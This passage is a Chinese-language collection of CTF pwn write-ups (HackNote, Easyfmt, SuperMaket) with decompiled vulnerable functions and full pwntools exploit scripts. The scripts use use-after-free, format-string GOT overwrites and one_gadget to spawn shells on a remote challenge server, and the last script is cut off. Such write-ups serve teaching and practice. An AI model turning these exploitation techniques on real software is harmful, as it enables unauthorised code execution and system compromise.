    print_addr = int(r(12), 16)
    li('print_addr:' + hex(print_addr))
    lib_base = print_addr - lib.sym['printf']
    one_gadget =[0xe237f,0xe2383,0xe2386,0x106ef8]

    sh = lib_base + one_gadget[3]

    li('lib_base:' + hex(lib_base))
    li('OG addr:' + hex(sh))
    ru(':')
    p = str(sh)
    #db()
    sl(p)
    #a = 1


def finish():
    ia()
    c()

#--------------------------Main-----------------------------
if __name__ == '__main__':

    if LOCAL:
        exe = ELF(exeFile)
        if LIBC:
            lib = ELF(libFile)
        io = exe.process(env = {"LD_PRELOAD" : libFile})
        #io = exe.process()

    else:
        io = remote(remoteIp, remotePort)
        if LIBC:
            lib = ELF(libFile)

    exploit()
    finish()

'''
    pwn@Ubuntu:~/share$ one_gadget libc-2.29.so
    0xe237f execve("/bin/sh", rcx, [rbp-0x70])
    constraints:
    [rcx] == NULL || rcx == NULL
    [[rbp-0x70]] == NULL || [rbp-0x70] == NULL

    0xe2383 execve("/bin/sh", rcx, rdx)
    constraints:
    [rcx] == NULL || rcx == NULL
    [rdx] == NULL || rdx == NULL

    0xe2386 execve("/bin/sh", rsi, rdx)
    constraints:
    [rsi] == NULL || rsi == NULL
    [rdx] == NULL || rdx == NULL

    0x106ef8 execve("/bin/sh", rsp+0x70, environ)
    constraints:
    [rsp+0x70] == NULL
'''

HackNote

来源

World of Attack & Defense

难度

4 / 10

保护

   Arch:     i386-32-little
   RELRO:    Partial RELRO
   Stack:    Canary found
   NX:       NX enabled
   PIE:      No PIE (0x8048000)

简单描述

相对比较简单的堆利用题目, 保护机制比较少,涉及知识点也比较少…

vul

unsigned int rm()
{
  int v1; // [esp+4h] [ebp-14h]
  char buf; // [esp+8h] [ebp-10h]
  unsigned int v3; // [esp+Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  printf("Index :");
  read(0, &buf, 4u);
  v1 = atoi(&buf);
  if ( v1 < 0 || v1 >= dword_804A04C )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( ptr[v1] )
  {
    free(*((void **)ptr[v1] + 1));
    free(ptr[v1]); //释放后没有让指针数组清空
    puts("Success");                            // not set null
  }
  return __readgsdword(0x14u) ^ v3;
}
... ...


//打印函数
unsigned int puts_0()
{
  int v1; // [esp+4h] [ebp-14h]
  char buf; // [esp+8h] [ebp-10h]
  unsigned int v3; // [esp+Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  printf("Index :");
  read(0, &buf, 4u);
  v1 = atoi(&buf);
  if ( v1 < 0 || v1 >= dword_804A04C )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( ptr[v1] )
     //vul 可以在堆中修改实现控制eip
    (*(void (__cdecl **)(void *))ptr[v1])(ptr[v1]); //若没释放会调用 addputs函数
  return __readgsdword(0x14u) ^ v3;
}

int __cdecl addputs(int a1)
{
  return puts(*(const char **)(a1 + 4));
}

知识点

堆的基本利用

思路

使用UAF漏洞实现和在堆中调用指针函数漏洞来实现获取libc基址,获取system地址,再次使用UAF修改该指针打印调用system获得shell

利用

获取libc基址

    ad(0x10, 'A')
    ad(0x10, 'B')
    rm(0)
    rm(1)

    dump_addr = 0x0804862B
    ad(0x8, p32(dump_addr) + p32(exe.got['puts']))
    dp(0)
    puts_addr = u32(r(4))
    li('puts_addr: ' + hex(puts_addr))
    libc = LibcSearcher('puts', puts_addr)
    libc_base = puts_addr - libc.dump('puts')
    sys_addr = libc_base + libc.dump('system')

getshell

通过修改函数指针为system获得shell

    # get shell
    rm(2)
    ad(0x8, p32(sys_addr) + '; sh')
    dp(0)

exp

#!/usr/bin/env python
#-*- coding:utf-8 -*-

# Author: I0gan
# Team  : D0g3

from pwn import *
from LibcSearcher import LibcSearcher

context.log_level='debug'
#context.terminal = ['konsole', '-x', 'bash', 'c']
#context.terminal = 'konsole'

#context(arch = 'i386', os = 'linux', log_level='debug')
#context(arch = 'amd64', os = 'linux', log_level='debug')

exeFile  = "hacknote"
libFile  = ""

remoteIp = "111.198.29.45"
remotePort = 32693

LOCAL = 0
LIB   = 0

r   =  lambda x : io.recv(x)
ra  =  lambda   : io.recvall()
rl  =  lambda   : io.recvline(keepends = True)
ru  =  lambda x : io.recvuntil(x, drop = True)
sl  =  lambda x : io.sendline(x)
sa  =  lambda x, y : io.sendafter(x, y)
sla =  lambda x, y : io.sendlineafter(x, y)
ia  =  lambda : io.interactive()
c   =  lambda : io.close()
pd32  = lambda x : p32(x).decode() #python3 not surport str + bytes
pd64  = lambda x : p64(x).decode()
li    = lambda x : log.info(x)
db    = lambda   : gdb.attach(io)

#--------------------------Func-----------------------------
def ad(size, text):
    sa('Your choice :', str(1))
    sa('Note size :', str(size))
    sa('Content :', text)

def rm(index):
    sa('Your choice :', str(2))
    sa(':', str(index))

def dp(index):
    sa('Your choice :', str(3))
    sa(':', str(index))    

def q():
    sa('Your choice :', str(4))

#--------------------------Exploit--------------------------
def exploit():
    #li(rl())
    ad(0x10, 'A')
    ad(0x10, 'B')
    rm(0)
    rm(1)

    dump_addr = 0x0804862B
    ad(0x8, p32(dump_addr) + p32(exe.got['puts']))
    dp(0)
    puts_addr = u32(r(4))
    li('puts_addr: ' + hex(puts_addr))
    libc = LibcSearcher('puts', puts_addr)
    libc_base = puts_addr - libc.dump('puts')
    sys_addr = libc_base + libc.dump('system')
    # get shell
    rm(2)
    ad(0x8, p32(sys_addr) + '; sh')
    dp(0)

def finish():
    ia()
    c()

#--------------------------Main-----------------------------
if __name__ == '__main__':

    if LOCAL:
        exe = ELF(exeFile)
        if LIB:
            lib = ELF(libFile)
            io = exe.process(env = {"LD_PRELOAD" : libFile})
        else:
            io = exe.process()

    else:
        exe = ELF(exeFile)
        io = remote(remoteIp, remotePort)
        if LIB:
            lib = ELF(libFile)

    exploit()
    finish()

Easyfmt

来源

攻防世界

vul

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  char buf; // [rsp+10h] [rbp-110h]
  unsigned __int64 v4; // [rsp+118h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  setvbuf(_bss_start, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 1, 0LL);
  puts("welcome to haerbin~");
  if ( (unsigned int)CheckIn() == 1 )
  {
    memset(&buf, 0, 0x100uLL);
    write(1, "slogan: ", 9uLL);
    read(0, &buf, 0x100uLL);
    printf(&buf, &buf, argv); //fmt vul
  }
  puts("bye~");
  exit(0);                                      // modify this
}

思路

这是一个有概率的题,需要多打几次, 概率绕过第一个后, 通过fmt漏洞修改exit的got表实现循环利用,然后泄漏__libc_start_main获取libc基址, 获取system地址后, 然后再partial write修改printf的got为system地址

exp

#!/usr/bin/env python
#-*- coding:utf-8 -*-

# Author: I0gan
# Team  : D0g3

from pwn import *
from LibcSearcher import LibcSearcher

#context.log_level='debug'
#context.terminal = ['konsole', '-x', 'bash', 'c']
#context.terminal = 'konsole'
#context(arch = 'i386', os = 'linux', log_level='debug')
context(arch = 'amd64', os = 'linux', log_level='debug')

exeFile  = "easyfmt"
libFile  = ""

remoteIp = "111.198.29.45"
remotePort = 53453

LOCAL = 0
LIB   = 0
#  ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)

r   =  lambda x : io.recv(x)
ra  =  lambda   : io.recvall()
rl  =  lambda   : io.recvline(keepends = True)
ru  =  lambda x : io.recvuntil(x, drop = True)
s   =  lambda x : io.send(x)
sl  =  lambda x : io.sendline(x)
sa  =  lambda x, y : io.sendafter(x, y)
sla =  lambda x, y : io.sendlineafter(x, y)
ia  =  lambda : io.interactive()
c   =  lambda : io.close()
pd32  = lambda x : p32(x).decode() #python3 not surport str + bytes
pd64  = lambda x : p64(x).decode()
li    = lambda x : log.info(x)
db    = lambda   : gdb.attach(io)

#--------------------------Func-----------------------------

def fmt(prev, word, index):
    if prev < word:
        result = word - prev
        fmtstr = "%" + str(result) + "c"
    elif prev == word:
        result = 0
    else:
        result = 256 + word - prev
        fmtstr = "%" + str(result) + "c"
    fmtstr += "%" + str(index) + "$hhn"
    return fmtstr


def fmt_str(offset, size, addr, target):
    payload = ""
    for i in range(4):
        if size == 4:
            payload += p32(addr + i)
        else:
            payload += p64(addr + i)
    prev = len(payload)
    for i in range(4):
        payload += fmt(prev, (target >> i * 8) & 0xff, offset + i)
        prev = (target >> i * 8) & 0xff
    return payload

#--------------------------Exploit--------------------------
def exploit():
    li(rl())
    p = '\x31' + '\x00' * 9
    s(p)
    ru(':')
    offset = 10
    start_addr = 0x400750
    exit_got   = exe.got['exit']
    exit_plt   = 0x400720
    fmt_addr = 0x400982

    #leaking libc    
    fini_array = 0x400a74
    #modify exit got as fmt_start
    #can't set addr at front
    p = '%' + str(fmt_addr & 0xFFFF) + 'c%10$hn' + 'A' * 4 + p64(exit_got)
    li('exit_got: ' + hex(exit_got))
    s(p)

    #leaking libc
    ru(':')
    p = '%' + str(44) +'$p'
    s(p)
    ru('0x')
    __libc_start_main = int(r(12), 16) - 240
    #db()
    libc = LibcSearcher('__libc_start_main', __libc_start_main)
    libc_base = __libc_start_main - libc.dump('__libc_start_main')
    sys_addr = libc_base + libc.dump('system')
    sh_addr = libc_base + libc.dump('str_bin_sh')
    printf_addr = libc_base + libc.dump('printf')

    #log
    li('libc_base: ' + hex(libc_base))
    li('printf_got: ' + hex(exe.got['printf']))
    li('system_addr: ' + hex(sys_addr))
    li('printf_addr: ' + hex(printf_addr))

    li(hex(0x550000 >> 8 * 2))
    rb3 = (sys_addr & 0xFF0000) >> (8 * 2)
    li('sys_5: ' + hex(rb3))

    # modify printf got addr as system
    p = '%' + str(rb3) + 'c%13$hhn'
    p +=  '%' + str((sys_addr & 0xFFFF) - rb3) + 'c%14$hn'

    p += p64(exe.got['printf'] + 2) #0xFF0000
    p += p64(exe.got['printf'] + 0) #0xFFFF

    #db()
    s(p)
    sl('/bin/sh')



def finish():
    ia()
    c()

#--------------------------Main-----------------------------
if __name__ == '__main__':

    if LOCAL:
        exe = ELF(exeFile)
        if LIB:
            lib = ELF(libFile)
            io = exe.process(env = {"LD_PRELOAD" : libFile})
        else:
            io = exe.process()

    else:
        exe = ELF(exeFile)
        io = remote(remoteIp, remotePort)
        if LIB:
            lib = ELF(libFile)

    exploit()
    finish()

SuperMaket

漏洞点:

添加和删除基本上没有十分严密, 找不到漏洞, 输入的长度且必须是n - 1, 不存在 off by one.然而在修改description的时候,当新的大小与以前大小不同时, 就会realloc重新分配内存.但没有跟新list数组中的指针.若重新分配大的话, 就造成use after free.

简要说一下 realloc函数吧:

extern void *realloc(void *mem_address, unsigned int newsize);

realloc会根据newsize大小来判断怎样分配新的内存, 并却将原来的数据拷贝到新分配的内存中.

realloc包含了 malloc, free, memcpy三个函数功能, 若新的大小过大的时候, 且在相邻chunk没有空间可分配, 这时候,系统就会去找一个空间够的地方来开辟内存, 这时候就可能涉及到这三个函数的功能. malloc新的内存, mcmcpy拷贝数据, free掉以前的chunk.

漏洞代码:

for ( size = 0; size <= 0 || size > 256; size = inputNum() )
    printf("descrip_size:");
  if ( *((_DWORD *)(&list_0)[v1] + 5) != size )
    realloc(*((void **)(&list_0)[v1] + 6), size); //漏洞点
  printf("description:");
  return inputName(*((_DWORD *)(&list_0)[v1] + 6), *((_DWORD *)(&list_0)[v1] + 5));
}

整体思路:

获得libc的基地址:

利用这个漏洞来修改free函数的got表为puts, 传入参数为atoi函数的got地址.调用free时, 获得atoi在libc中的地址.计算偏移即可

调用system.

获得libc地址之后, 也利用这个漏洞修改atoi的got表地址为system地址.然后在进行选择的时候直接传入参数 ‘/bin/sh’即可获得shell.当然还可以继续修改free的got地址为system.但需要得到’/bin/sh’在libc中的地址, 且在chunk头的decription地址中写入该地址.调用free也行, 我试过了, system虽然能调用成功, 就是这个’/bin/sh’在libc中的偏移有问题. 结果 就是sh :cmd not found

以上就是整体思路:

exp

#!/usr/bin/env python
#-*- coding:utf-8 -*-

# Author: I0gan
# Team  : D0g3

from pwn import *
#from LibcSearcher import LibcSearcher

#context.log_level='debug'
#context.terminal = ['konsole', '-x', 'bash', 'c']
#context.terminal = 'konsole'

#context(arch = 'i386', os = 'linux', log_level='debug')
#context(arch = 'amd64', os = 'linux', log_level='debug')

exeFile  = "supermarket"
libFile  = "libc.so.6"

remoteIp = "111.198.29.45"
remotePort = 57966

LOCAL = 0
LIBC  = 1

r   =  lambda x : io.recv(x)
rl  =  lambda   : io.recvline(keepends = True)
ru  =  lambda x : io.recvuntil(x, drop = True)
sl  =  lambda x : io.sendline(x)
sa  =  lambda x, y : io.sendafter(x, y)
sla =  lambda x, y : io.sendlineafter(x, y)
ia  =  lambda : io.interactive()
c   =  lambda : io.close()
pd32  = lambda x : p32(x).decode() #python3 not surport str + bytes
pd64  = lambda x : p64(x).decode()
li    = lambda x : log.info(x)
db    = lambda   : gdb.attach(io)

#--------------------------Func-----------------------------
def ad(index, size, text):
    sla('>> ', str(1))
    sla(':', str(index))
    sla(':', str(0))
    sla(':', str(size))
    sla(':', text)

def rm(index):
    sla('>> ', str(2))
    sla(':', str(index))

def dp():
    sla('>> ', str(3))

def md(index, size, text):
    sla('>> ', str(5))
    sla(':', str(index))
    sla(':', str(size))
    sla(':', text)

def q():
    sa('>> ', str(6))

#--------------------------Exploit--------------------------
def exploit():
    ad(0, 0x80, '0' * (0x80 - 1))
    ad(1, 0x10, '1' * (0x10 - 1))
    md(0, 0x90, '') #不要向free掉的数据块中写入数据. 不然后期无法malloc
    ad(2, 0x10, '2' * (0x10 - 1))
    p = p32(0x32) + p32(0) * 4
    p += p32(0x10) + p32(exe.got['free'])
    p += '\x19'
    md(0, 0x80, p) # modify dscription addr as free got addr
    p2 = p32(exe.plt['puts'])
    md(2, 0x10, p2) #modify free got addr as puts got addr

    # leaking
    p3 = p32(0x32) + p32(0) * 4
    p3 += p32(0x10) + p32(exe.got['atoi'])
    p3 += '\x19'
    md(0, 0x80, p3)

    rm(2) #puts atoi addr in libc
    atoi_addr = u32(r(4))
    li('libc_base: ' + hex(atoi_addr))
    libc_base = atoi_addr - lib.sym['atoi']
    li('libc_base: ' + hex(libc_base))
    sys_addr = libc_base + lib.sym['system']
    sh_addr = libc_base + 0x0015902b

    #modify got addr as system
    ad(3, 0x10, '3' * (0x10 - 1))

    p4 = p32(0x32) + p32(0) * 4
    p4 += p32(0x10) + p32(0x0)
    p4 += p32(0x19) + p32(0x0) * 5

    p4